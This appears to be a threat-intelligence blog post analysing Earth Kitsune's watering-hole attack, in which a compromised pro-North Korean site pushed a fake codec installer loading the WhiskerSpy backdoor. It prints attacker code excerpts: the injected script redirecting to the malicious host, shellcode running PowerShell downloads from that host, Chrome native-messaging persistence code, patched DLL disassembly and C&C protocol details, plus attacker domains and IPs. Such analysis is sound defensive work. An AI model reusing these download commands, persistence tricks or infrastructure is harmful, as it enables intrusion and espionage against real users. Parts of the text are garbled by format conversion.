# Earth Kitsune Delivers New WhiskerSpy Backdoor via Watering Hole Attack

b trendmicro.com/en\_us/research/23/b/earth-kitsune-delivers-new-whiskerspy-backdoor.html

February 17, 2023



#### **APT & Targeted Attacks**

We discovered a new backdoor which we have attributed to the advanced persistent threat actor known as Earth Kitsune, which we have covered before. Since 2019, Earth Kitsune has been distributing variants of self-developed backdoors to targets, primarily individuals who are interested in North Korea.

By: Joseph C Chen, Jaromir Horejsi February 17, 2023 Read time: (words)

#### Introduction

We discovered a new backdoor which we have attributed to the <u>advanced persistent threat</u> <u>actor known as Earth Kitsune</u>, which we have covered before. Since 2019, Earth Kitsune has been distributing variants of self-developed backdoors to targets, primarily individuals who are interested in North Korea. In many of the cases, we have investigated in the past, the threat actor used watering hole tactics by compromising websites related to North Korea and injecting browser exploits into them. In the latest activity we analyze here, Earth Kitsune used a similar tactic but instead of using browser exploits, employed social engineering instead.

At the end of 2022, we discovered that the website of a pro-North Korean organization was compromised and modified to distribute malware. When a targeted visitor tries to watch videos on the website, a malicious script injected by the attacker displays a message prompt notifying the victims with a video codec error to entice them to download and install a trojanized codec installer. The installer was patched to load a previously unseen backdoor, that we dubbed "WhiskerSpy." In addition, we also found the threat actor adopting an interesting persistence technique that abuses Google Chrome's native messaging host.



Figure 1. The WhiskerSpy infection chain

In this blog post, we are going to reveal the infection chain and technical details of the WhiskerSpy backdoor employed by Earth Kitsune.

### **Delivery analysis**

At the end of 2022, we noticed that a pro-North Korean website had a malicious script injected in their video pages. The script showed a popup window with a fake error message, designed to entice victims to install a malicious package disguised as an Advanced Video Codec - AVC1.

 And a second second	111
Codec Error 0xc00d5212	
Install Codec-AVC1.msi	
ок	

Figure 2. Social engineering attack prompt on a compromised pro-North Korean website The webpages were configured to deliver the malicious script only to visitors from a list of targeted IP addresses (visitors that did not have these IP addresses would not receive the malicious payload). This configuration makes the attack difficult to discover. Fortunately, we managed to find a text file on the threat actor's server containing a regular expression matching the targeted IP addresses. These include:

- 1. An IP address subnet located in Shenyang, China
- 2. A specific IP address located in Nagoya, Japan
- 3. An IP address subnet located in Brazil

The IP addresses in Shenyang and Nagoya are likely to be their real targets. However, we found the targeted IP addresses in Brazil mostly belonged to a commercial VPN service. We believe that the threat actor used this VPN service to test the deployment of their watering hole attacks. It also provided us with an opportunity to verify the watering hole attack by using the same VPN service to successfully receive the malicious script.

137	-			137	-	
138	¢.	<div class="mt-5 mb-5"></div>		138		<div class="mt-5 mb-5"></div>
139		<div id="bo_v_con"></div>		139		<pre><div id="bo_v_con"></div></pre>
140	¢	<pre><div class="movie block mt-20 mb-10 text-center"></div></pre>		140	₿	<pre><div class="movie block mt-20 mb-10 text-center"></div></pre>
141	-			141	14	<pre><link href="http://microsoftwindow.sytes.net/popup.css" rel="stylesheet"/></pre>
142	¢=	<video autoplay="" class="img-response" controls="" poster="" preload=""></video>		142	14	
143		<source mb-10"="" src="http:// /data/movie/movie/2022/12/movie_mc&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;143&lt;/td&gt;&lt;td&gt;¢.&lt;/td&gt;&lt;td&gt;&lt;pre&gt;div id='popup' class='hide'&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;144&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;Your browser does not support the video tag.&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;144&lt;/td&gt;&lt;td&gt;₿.&lt;/td&gt;&lt;td&gt;&lt;pre&gt; &lt;div class='content'&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;145&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/video&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;145&lt;/td&gt;&lt;td&gt;Ę.&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;146&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;146&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Codec Error 0xc00d5212&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;147&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;147&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Install &lt;strong&gt;Codec-AVC1.msi&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;148&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;148&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;149&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;149&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;br/&gt; &lt;br/&gt; &lt;br/&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;150&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;_8&lt;/td&gt;&lt;td&gt;150&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;151&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;151&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;152&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;152&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;script type='text/javascript' src='http://microsoftwindow.sytes.net/popup.js'&gt;&lt;/script&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;153&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;153&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;script&gt;showPopup(true);&lt;/script&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;154&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;154&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;155&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;155&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;156&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;156&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;157&lt;/td&gt;&lt;td&gt;¢.&lt;/td&gt;&lt;td&gt;&lt;div class=" text-center="" type="video/mp4"/>		157	÷.	<div class="text-center mb-10"></div>

Figure 3. A comparison of the webpage content between the original page (left) and the page with the injected script (right)

The website loads a malicious JavaScript (popup.js) with the following redirection code:

```
function downloadfile() {
    const downloadLocation = 'http://microsoftwindow.sytes.net/Codec-AVC1.msi';
    return window.location.assign(downloadLocation);
    }
```

Figure 4. Embedded JavaScript redirecting to a malicious installer download

## The patched installer

The installer file is an <u>MSI installer</u> that wraps another <u>NSIS installer</u>. The threat actor abused a legitimate installer (windows.10.codec.pack.v2.1.8.setup.exe – e82e1fb775a0181686ad0d345455451c87033cafde3bd84512b6e617ace3338e) and patched it to include malicious shellcode. The patch includes an increased number of sections, from 5 to 6 (red brackets in Figure 5) and increased image size to create extra room for the malicious shellcode (green brackets in Figure 5).

🗆 Basic PE Header II	nformation ——				
				OK	
EntryPoint:	00003217	Subsystem:	0002	Save	
ImageBase:	00400000	NumberOfSections:	0005		
SizeOfImage:	0004E000	TimeDateStamp:	55C15CE3	Sections	
BaseOfCode:	00001000	SizeOfHeaders:	00000400 ? +	Directories	
BaseOfData:	00007000	Characteristics:	010F	FLC	
SectionAlignment:	00001000	Checksum:	02C49C56 ?	TDSC	
FileAlignment:	00000200	SizeOfOptionalHeader:	00E0	Compare	
Magic:	010B	NumOfRvaAndSizes:	00000010 + -		
					Figure 5 Original
- Basic PE Header Ir	nformation			OK	_Figure 5. Original
- Basic PE Header In	nformation		0002	OK	_Figure 5. Original
- Basic PE Header In EntryPoint:	nformation	Subsystem:	0002	OK Save	_Figure 5. Original
- Basic PE Header In EntryPoint: ImageBase:	nformation 00003217 00400000	Subsystem: NumberOfSections:	0002	OK Save	Figure 5. Original
<ul> <li>Basic PE Header In</li> <li>EntryPoint:</li> <li>ImageBase:</li> <li>SizeOfImage:</li> </ul>	nformation 00003217 00400000 00050000	Subsystem: NumberOfSections: TimeDateStamp:	0002 0006 55C15CE3	OK Save Sections	-Figure 5. Original
- Basic PE Header In EntryPoint: ImageBase: SizeOfImage: BaseOfCode:	nformation 00003217 00400000 00050000 00001000	Subsystem: NumberOfSections: TimeDateStamp: SizeOfHeaders:	0002 0006 55C15CE3 00000400 ? +	OK Save Sections Directories	Figure 5. Original
- Basic PE Header In EntryPoint: ImageBase: SizeOfImage: BaseOfCode: BaseOfData:	nformation 00003217 00400000 00050000 00001000 00007000	Subsystem: NumberOfSections: TimeDateStamp: SizeOfHeaders: Characteristics:	0002 0006 55C15CE3 00000400 ? + 010F	OK Save Sections Directories FLC	Figure 5. Original
- Basic PE Header In EntryPoint: ImageBase: SizeOfImage: BaseOfCode: BaseOfData: SectionAlignment:	nformation 00003217 00400000 00050000 00001000 00007000 00001000	Subsystem: NumberOfSections: TimeDateStamp: SizeOfHeaders: Characteristics: Checksum:	0002 0006 55C15CE3 00000400 ? + 010F 02C48EA1 ?	OK Save Sections Directories FLC TDSC	Figure 5. Original
- Basic PE Header In EntryPoint: ImageBase: SizeOfImage: BaseOfCode: BaseOfCode: BaseOfData: SectionAlignment:	nformation 00003217 00400000 00050000 00001000 00007000 00001000 00001000	Subsystem: NumberOfSections: TimeDateStamp: SizeOfHeaders: Characteristics: Checksum: SizeOfOptionalHeader:	0002 0006 55C15CE3 00000400 ? + 010F 02C48EA1 ? 00E0	OK Save Sections Directories FLC TDSC	Figure 5. Original
- Basic PE Header In EntryPoint: ImageBase: SizeOfImage: BaseOfCode: BaseOfData: SectionAlignment: FileAlignment: Magic:	nformation 000003217 00400000 00050000 00001000 00007000 00001000 00000200 010B	Subsystem: NumberOfSections: TimeDateStamp: SizeOfHeaders: Characteristics: Checksum: SizeOfOptionalHeader: NumOfRvaAndSizes:	0002 0006 55C15CE3 00000400 ? + 010F 02C48EA1 ? 00E0 0000010 + -	OK Save Sections Directories FLC TDSC Compare	Figure 5. Original

(above) and patched (below) installer. Sizes for certain parameters are increased and one more section is added in the patched version

[Section Ta	ble ]					
Name	VOffset	VSize	ROffset	RSize	Flags	
.text .rdata .data .ndata .rsrc	00001000 00007000 00009000 00024000 00038000	00005C3A 000011CE 0001A7F8 00017000 00012B38	00000400 00006200 00007400 0000000 00007800	00005E 00 00001200 00000400 00000000 00012C00	60000020 40000040 C0000040 C0000080 40000040	

- - - -

Figure 6. Newly added

[Section la	ible J					,
Name	VOffset	VSize	ROffset	RSize	Flags	
.text	00001000	00005C3A	00000400	00005E00	60000020	
.rdata	00007000	000011CE	00006200	00001200	40000040	
.data	00009000	0001A7F8	00007400	00000400	C0000040	
.ndata	00024000	00017000	00000000	00000000	C0000080	
.rsrc	0003B000	00012B38	00007800	00012C00	40000040	
.odata	0004E000	00001036	02C41800	00001200	E0000020	

.odata section in the patched installer

The entry point of the patched installer is changed to immediately jump to the shellcode. The shellcode is encrypted with a simple key (XOR 0x01).

.text:00403217 .text:00403217	start proc call	near \$+5		;	DATA	XREF:	start+6↓o		
.text:0040321C									
.text:0040321C	loc_40321C:			; 1	DATA	XREF:	start+6↓o	Eiguro 7 Th	~
.text:0040321C	рор	eax							Ξ
.text:0040321D	sub	eax,	(offset	loc_4	0321C	- of	fset start	)	
.text:00403220	push	eax							
.text:00403221	jmp	sub_	44E000						

entry point of the patched installer jumps into the code in the .odata section

After decryption, the shellcode runs several PowerShell commands to download additional stages of malware. These files are executable files with a few hundred bytes from the beginning XORed with one-byte key.

```
strcpy(v63, "powershell -c \"Invoke-WebRequest http://microsoftwindow.sytes.net/icon.jpg -OutFile ");
for (j = 0; j < 0x54; ++j)
  v63[j] = v63[j];
strcpy(&v63[85], "powershell -c \"Invoke-WebRequest http://microsoftwindow.sytes.net/bg.jpg -OutFile
for ( k = 0; k < 0x52; ++k )</pre>
 v63[k + 85] = v63[k + 85];
strcpy(v62, "powershell -c \"Invoke-WebRequest http://microsoftwindow.sytes.net/favicon.jpg -OutFile
for (m = 0; m < 0x57; ++m)
  v62[m] = v62[m];
strcpy(v64, "powershell -c \"Invoke-WebRequest http://microsoftwindow.sytes.net/6a99.php\"");
```

Figure 8. Shellcode in the .odata section calls several PowerShell commands to download additional loaders

It then restores the original entry point (15 bytes in total) to ensure that the original installer runs as expected.

```
VirtualProtect(pEntryPoint, 15, PAGE_EXECUTE_READWRITE, var_s4 + 16);
VirtualProtect(pEntryPoint, 15, *((_DWORD *)var_s4_ + 4), var_s4_ + 16);
```

in the .odata section restores the original entry point of the installer

#### Path for persistence via OneDrive (Icon.jpg)

This contains the path \microsoft\onedrive\vcruntime140.dll, which is the location where another downloaded file (bg.jpg) gets dropped under the name vcruntime140.dll.

## Persistence and loader abusing OneDrive side-loading vulnerabilities (Bg.jpg)

This is a patched version of vcruntime140.dll (Microsoft C Runtime library). In this instance, the function memset was patched, as seen in Figures 10 and 11. The return from function (retn) was replaced with a jump to overlay (in the newly adde .odata section), where an injected code reads bytes from the overlay, XORs them with a 1-byte key and injects the embedded payload into the werfautl.exe process. The shellcode in the overlay is a loader of the main backdoor.

.text:000000018000C780 memset	proc ne	ar	;	DATA XREF: .rdata:00000018000E34B↓o
.text:000000018000C780			;	.rdata:off_180010758↓o
.text:000000018000C780	mov	r11, rcx		
.text:00000018000C783	movzx	edx, dl		
.text:00000018000C786	mov	r9, 10101010101	01	01h
.text:000000018000C790	imul	r9, rdx		
.text:00000018000C794	cmp	r8, 10h	;	switch 17 cases
.text:00000018000C798	jbe	SetBytes16		
.text:000000018000C79E				
.text:000000018000C79E def_18000C8BB:			3	jumptable 00000018000C8BB default case
.text:00000018000C79E	movq	xmm0, r9		
.text:00000018000C7A3	punpckl	bw xmm0, xmm0		
.text:00000018000C7A7	cmp	r8, 80h		
.text:00000018000C7AE	jbe	XmmSetSmall		
.text:00000018000C7B4	bt	cs:favor, 1		
.text:00000018000C7BC	jnb	short XmmSet		
.text:00000018000C7BE	mov	eax, edx		
.text:00000018000C7C0	mov	rdx, rdi		
.text:00000018000C7C3	mov	rdi, rcx		
.text:00000018000C7C6	mov	rcx, r8		
.text:00000018000C7C9	rep sto	sb		
.text:00000018000C7CB	mov	rdi, rdx		
.text:00000018000C7CE	mov	rax, r11		
.text:00000018000C7D1	retn			
.text:00000018000C7D1 ;				
.text:000000018000C7D2	align 2	Øh		

Figure 10. The original memset function. Note that the instruction at address 0x18000C7D1 is return (retn)

.text:000000018000C780	mov	r11, rcx			
.text:000000018000C783	movzx	edx, dl			
.text:000000018000C786	mov	r9, 101010101010	101h		
.text:000000018000C790	imul	r9, rdx			
.text:000000018000C794	cmp	r8, 10h	; switch 17	cases	
.text:000000018000C798	jbe	loc 18000C8A0	-		
.text:000000018000C79E		-			
.text:00000018000C79E def	18000C8BB:		; jumptable	000000018000C8BB	default case
.text:000000018000C79E	movq	xmm0, r9			
.text:000000018000C7A3	punpckl	Lbw xmm0, xmm0			
.text:000000018000C7A7	cmp	r8, 80h			
.text:000000018000C7AE	jbe	loc 18000C830			
.text:000000018000C7B4	bt	cs:dword_1800122	20, 1		
.text:000000018000C7BC	jnb	short loc_18000C	7E0		
.text:000000018000C7BE	mov	eax, edx			
.text:000000018000C7C0	mov	rdx, rdi			
.text:000000018000C7C3	mov	rdi, rcx			
.text:000000018000C7C6	mov	rcx, r8			
.text:000000018000C7C9	rep sto	osb			
.text:000000018000C7CB	mov	rdi, rdx			
.text:000000018000C7CE	mov	rax, r11			
.text:000000018000C7D1	jmp	loc 180017000			
.text:00000018000C7D1 ;					
.text:000000018000C7D6	align 2	20h			

Figure 11. The patched memset function. Note that the instruction at address 0x18000C7D1 is jump (jmp) to overlay with the shellcode

The file is placed into the %LOCALAPPDATA%\microsoft\onedrive\ directory, which is a default per-user installation location for the OneDrive application. It was previously <u>reported</u> that the threat actors exploited <u>OneDrive side-loading vulnerabilities</u> by placing fake DLLs into this OneDrive directory to achieve persistence in a compromised machine.

## Persistence and loader employing malicious Google Chrome extensions (Favicon.jpg)

This is an installer package that contains Installer.exe (a Google Chrome extension installer), NativeApp.exe (a native messaging host) and Chrome extension files (background.js, manifest.json, and icon.png).

NativeApp.exe is a <u>native messaging host</u> that communicates with Chrome extensions using standard input (<u>stdin</u>) and standard output (<u>stdout</u>). Note the type = "stdio" in the extension manifest.

```
{
    "allowed_origins": ["chrome-extension://ngiancggfadoodbmadaaadipfljbmgmc/"],
    "description": "Google Chrome",
    "name": "com.google.chromehelper",
    "path": "C:\\Users\\123456\\AppData\\Local\\Google\\Chrome\\User Data\\Helper NativeApp\\ChromeHelper.exe",
    "type": "stdio"
}
```

Figure 12. The extension manifest. Note the extension ID (allowed\_origins) path leading to the dropped executable and the type = standard input/output.



13. Malicious extension as viewed in a Google Chrome extension tab

The <u>Background.js</u> extension script adds a listener to the <u>onStartup</u> message. This listener sends the "inject" command to the native messaging host, effectively acting as a somewhat unique method of persistence, since the malicious payload is executed every time the Chrome browser is started.

```
function nativeInject() {
    nativeCmd("inject", [""]);
}
function onLoad() {
    nativeInject();
}
Figure 14. The handler of the
```

chrome.runtime.onStartup.addListener(onLoad); onStartup event (the startup of the Chrome browser) NativeApp uses messages in <u>JSON</u> format to exchange data with Chrome extensions, and implements three commands: execute, load, and inject.

The format of the message is as follows: xx xx xx {"cmd":"","data":""}, where xx xx xx xx is length of the message in bytes. The "cmd" key must contain one of the implemented command values (execute, load, and inject), while the "data" key may contain additional parameters like path and the program to be executed.

The following are examples of valid JSON messages:

{"cmd":"execute","data":["c:\\windows\\system32\\notepad.exe"]}

{"cmd":"load","data":["c:\\temp\\hello-world-x64.dll","MessageBoxThread"]}

| {"cmd":"inject","data":[""]}

Note that each message must be preceded with a 4-byte little-endian length value. Passing non-printable characters (0x00 as shown in Figure 15) can be achieved by using PowerShell and its <u>Get-Content</u> cmdlet with the -raw parameter, then redirecting this content via pipe "|"

to the NativeApp. If the cmd.bin file contains the same content as shown in Figure 15, NativeApp.exe will run notepad.exe.

| powershell Get-Content .\cmd.bin -raw | NativeApp.exe

 3F 00 00 00
 7B 22 63 6D
 64 22 3A 22
 65 78 65 63
 ? {"cmd":"exec

 75 74 65 22
 2C 22 64 61
 74 61 22 3A
 5B 22 63 3A
 ute","data":["c:

 5C 5C 77 69
 6E 64 6F 77
 73 5C 5C 73
 79 73 74 65
 \\windows\\syste
 Figure 15.

 6D 33 32 5C
 5C 6E 6F 74
 65 70 61 64
 2E 65 78 65
 m32\\notepad.exe
 "]}

Message instructing the execution of notepad.exe. The first DWORD 0x0000003f is the length of the following JSON message

In the current implementation, the inject command has no parameters. Instead, it connects to the hardcoded URL address http://<delivery server>/help[.]jpg, downloads, decodes and runs the main payload, which is a backdoor.

## Main backdoor loader (Help.jpg )

This is a shellcode that loads another embedded executable — the main backdoor payload which we named WhiskerSpy.

#### The main payload: WhiskerSpy

WhiskerSpy uses elliptic-curve cryptography (ECC) to exchange encryption keys between the client and server. The following are the implemented backdoor commands:

- interactive shell
- download file
- upload file
- delete file
- list files
- take screenshot
- load executable and call its export
- inject shellcode into process

The machine ID is computed as a 32-bit <u>Fowler-Noll-Vo</u> hash (FNV-1) of the 16-byte UUID located in the System Information Table of the <u>System Management Bios</u> (<u>SMBIOS</u>). For more details about the UUID value, see page 33 of the <u>SMBIOS Specification</u>. The function <u>GetSystemFirmwareTable</u> is called with the parameter "RSMB" to retrieve the raw SMBIOS table, It is then parsed to locate the 16-byte UUID, which has its FNV-1 hash computed.

For communication with the command-and-control (C&C) server, the backdoor generates a random 16-byte AES key. It computes the session ID from this key as a 32-bit <u>Murmur3</u> hash.

As mentioned, the backdoor uses Elliptic-curve cryptography (ECC). We can determine the <u>Elliptic-curve domain parameters</u> from hardcoded values stored in the ".data" section. In figure 16, you can see the prime (p, yellow color), the first coefficient a (red color), the second coefficient b (green color), generator (base point, blue color), and the cofactor (h, orange color). Knowing these parameters helps us determine that "secp256r1" is the used curve, as we can see all the important constants for most popular elliptic curves listed, for example, in <u>tinyec project</u>.

	_									_							
180026060	FC	FF	00	00	00	00	üÿÿÿÿÿÿÿÿÿÿÿ										
180026070	00	00	00	00	00	00	00	00	01	00	00	00	FF	FF	FF	FF	
180026080	4B	60	D2	27	ЗE	3C	CE	3B	F6	BØ	53	CC	BØ	06	1D	65	K`Ó'≻≺Ï;ö°SͰe
180026090	BC	86	98	76	55	BD	EB	B3	E7	93	ЗA	AA	D8	35	C6	5A	¼†~vU%ë³c":≅Ø5ÆZ
1800260A0	96	C2	98	D8	45	39	A1	F4	A0	33	EB	2D	81	7D	03	77	-A~ØE9;ô 3ë}.w
1800260B0	F2	40	Α4	63	E5	E6	BC	F8	47	42	2C	E1	F2	D1	17	6B	ò@¤cåæ¼øGB,áòÑ.k
1800260C0	F5	51	BF	37	68	40	B6	CB	CE	5E	31	6B	57	33	CE	2B	õQ;7h@¶ËÎ^1kW3Î+
1800260D0	16	9F	ØF	70	4Α	FB	F7	8F	9B	7F	1A	FF	F2	42	E3	4F	.ž. ]ëcŽ>bâBãO
1800260E0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
1800260F0	A3	92	1D	13	1E	5C	46	ØD	5C	36	6D	EE	F8	18	57	22	£'\F.\6mîø.W"
180026100	C4	ΒA	33	63	83	2B	FØ	E2	C7	D1	60	37	Β3	14	69	5B	Ä≌3cf+ðâÇÑ`7³.i[
180026110	D9	54	76	7F	C7	19	2E	E9	3D	7A	5C	52	1C	DD	46	7A	ÙTv.Çé=z\R.ÝFz
180026120	FC	C4	7A	50	CA	57	AB	12	10	AD	E5	59	32	74	4E	BE	üÄzPÊW«åY2tN¾
180026130	00	00	00	00	00	00	00	00	FF	······ÿÿÿÿÿÿÿÿ							
180026140	FF	FF	FF	FF	00	00	00	00	00	00	00	00	00	00	00	00	ÿÿÿÿFigure 16. The
180026150	01	00	00	00	FF	FF	FF	FF	FD	FF	····ÿÿÿÿýÿÿÿÿÿÿÿ						
180026160	FF	FF	FF	FF	00	00	00	00	00	00	00	00	00	00	00	00	ÿÿÿÿ·····
180026170	01	00	00	00	FF	FF	FF	FF	03	00	00	00	00	00	00	00	····ÿÿÿÿ·····
180026180	FF	FF	FF	FF	FB	FF	FF	FF	FE	FF	ÿÿÿÿûÿÿÿþÿÿÿÿÿÿÿ						
180026190	FD	FF	FF	FF	04	00	00	00	01	00	00	00	00	00	00	00	ýÿÿÿ
1800261A0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
1800261B0	00	00	00	00	00	00	00	00	FF	FF	FF	FF	00	00	00	00	·····ÿÿÿÿ·····
1800261C0	CD	5D	20	D2	66	D4	FF	FF	32	A2	DF	2D	99	2B	00	00	Í]·ÒfÔÿÿ2¢ß-™+
1800261D0	01	00	00	00	02	00	00	00	2F	20	00	00	00	00	00	00	/
1800261E0	00	F8	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.ø
1800261F0	FF	FF	FF	FF	00	00	00	00	00	00	00	00	00	00	00	00	ΫΫΫΫ
180026200	02	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
180026210	FF	FF	FF	FF	00	00	00	00	00	00	00	00	00	00	00	00	ΫΫΫΫ
180026220	30	D9	01	80	01	00	00	00	01	00	00	00	00	00	00	00	0Ù.€

hardcoded parameters of the "secp256r1" curve

There is one more value shown in Figure 16 (brown color) which represents the hardcoded server's public key.

Then a series of computations (Elliptic-curve Diffie-Hellman or ECDH key exchange) follows:

- 1. Generate random 32-byte client private key (clientPrivKey)
- Compute client public key by multiplying the client private key by the curve generator (clientPubKey = clientPrivKey \* curve.g)
- Compute sharedKey by multiplying the client private key by the server public key (sharedKey = clientPrivKey \* serverPubKey)

The result of these computations are uploaded to the C&C server as a 64-byte binary blob, where the first 32 bytes are the x-coordinate of the client public key, since a <u>a commonly</u> used shared function f(P) is to take the x-coordinate of the point P. The second 32 bytes are

derived from a random 16-byte AES key.

C&C communication begins by registering the machine ID (function number = 3; POST request with "I<machineID>\*").

Content-Disposition: form-data; name="0"	3
Content-Disposition: form-data; name="1"	1904da5c6*

Figure 17. Registering a new machine

The uploading of the 64-byte file with the x-coordinate of the client public key and the encrypted AES key follows (function number = 1; POST request with "I<machineID> <sessionID>".

Content-Disposition: form-data; name="0"	1	
Content-Disposition: form-data; name="1"	l904da5c61f8c869d	Figure 19 Degistering a pour
Content-Disposition: form-data; name="a"; filename="a" Content-Type: application/octet-stream	<file></file>	-Figure To. Registering a new
session key and uploading it		

WhiskerSpy then periodically requests the C&C server for any tasks it should perform (function number = 2; POST request with "h<machineID>\*".

Content-Disposition: form-data; name="0"	2	Figure 10 WhickerSov
Content-Disposition: form-data; name="1"	h904da5c6*	

requesting for tasks to be performed

Received packets (the content of the file h<machineID>) can either be encrypted or in plain text, depending on the packet's purpose. For example, the alive packet has 0x14 bytes, starts with the 0x104B070D magic value, and is not encrypted. Its <u>Murmur</u> hash must be equal to the hardcoded value 0x89EECD7C. Other packets are listed in Table 1.

Packet type	Magic	Length	Murmur hash	Encrypted with AES
Do nothing		1		No
Alive	0x104B070D	0x14	0x89EECD7C	No
Generate new session key	0xC8C9427E	0x20	0xDA348CF2	No
Command packet	0xF829EA31			Yes

#### Table 1. Special types of messages

WhiskerSpy implements standard functions. While analyzing the code, we noticed a few status codes designed to report the state of the task, with the first words (two bytes) of the received message being the command ID. Note that, in the case of the command packet, the

magic value is the same for all commands: it is found before the command ID and is not displayed in Table 2. In the case of the alive packet, the first word (2 bytes) of the magic value is used as the command ID, therefore the 0x70D value can be found in the table.

Command ID	Function	Status codes	
1	Interactive shell (run command line task)	CPF CPS [empty]	CommandLine Process Fail CommandLine Process Success
2	Download file to the client	UTOF FWS UTWF BAD	Open File File Write Success Write File error
3	Upload file to the server	UTOF UTRF FIB FIE BAD	Open File Read File File Input Big (>200MB) File Input Empty (zero length) error
4,8	List files		
5	Delete file	OK BAD	
6	Not supported		
7	Exit process		
9	Encrypt file and upload it to the C&C server		
10	Take screenshot	IPS	Incorrect Pixel Specification
		DIBF Fail	Device-Independent bitmap (DIB)
11	Load module and run export	BAD OK	unable to load module
12	Inject shellcode to another process	BAD OK	
0x70D	Checks if it is alive	Responds to ser also the UTF-8 e (shēng = life)	rver with the bytes <u>"e7 94 9f</u> ", which is encoding of the Chinese character 生

#### Similar backdoors

Older versions of WhiskerSpy are 32-bit executables and implement only subsets of the previously mentioned functions (1-5,8,0x70D are the same, 6 = exit process; 7 = drop file to temp and execute it). The remaining functions are missing.

The communication is not via HTTP protocol, but via FTP protocol. This means that the FTP name and password must be hardcoded in the binary to enable communication. This approach leaks the current number of victims as I<machineID><sessionID> and h<machineID> files that are visible to anyone who knows the login credentials.

The FTP version of the backdoor also checks for the presence of the debugger. If present, the status code "HELO>" is sent to the C&C server.

#### Attribution

Our findings allow us to attribute this attack to the Earth Kitsune threat actor with medium confidence. Injecting malicious scripts into North Korean-related websites shows a similar modus operandi and victimology to the previous activities of the group. Furthermore, the delivery server and the C&C server of WhiskerSpy used in this attack have two infrastructure overlaps with our previous research on <u>Operation Earth Kitsune</u>.

- The first overlap we noticed is that both WhiskerSpy's C&C domain londoncity[.]hopto[.]org and Earth Kitsune's domain rs[.]myftp[.]biz were resolved to the same IP address 45[.]76[.]62[.]198.
- 2. The second overlap is that WhiskerSpy's C&C domains londoncity[.]hopto[.]org and updategoogle[.]servehttp[.]com, plus the domain of the delivery server microsoftwindow[.]sytes[.]net were all resolved to 172[.]93[.]201[.]172. This IP address was also mapped from the domain selectorioi[.]ddns[.]net which was used by Earth Kitsune's agfSpy backdoor.



Figure 20. The infrastructure overlap with Earth Kitsune (click the image for a larger version)

#### Conclusion

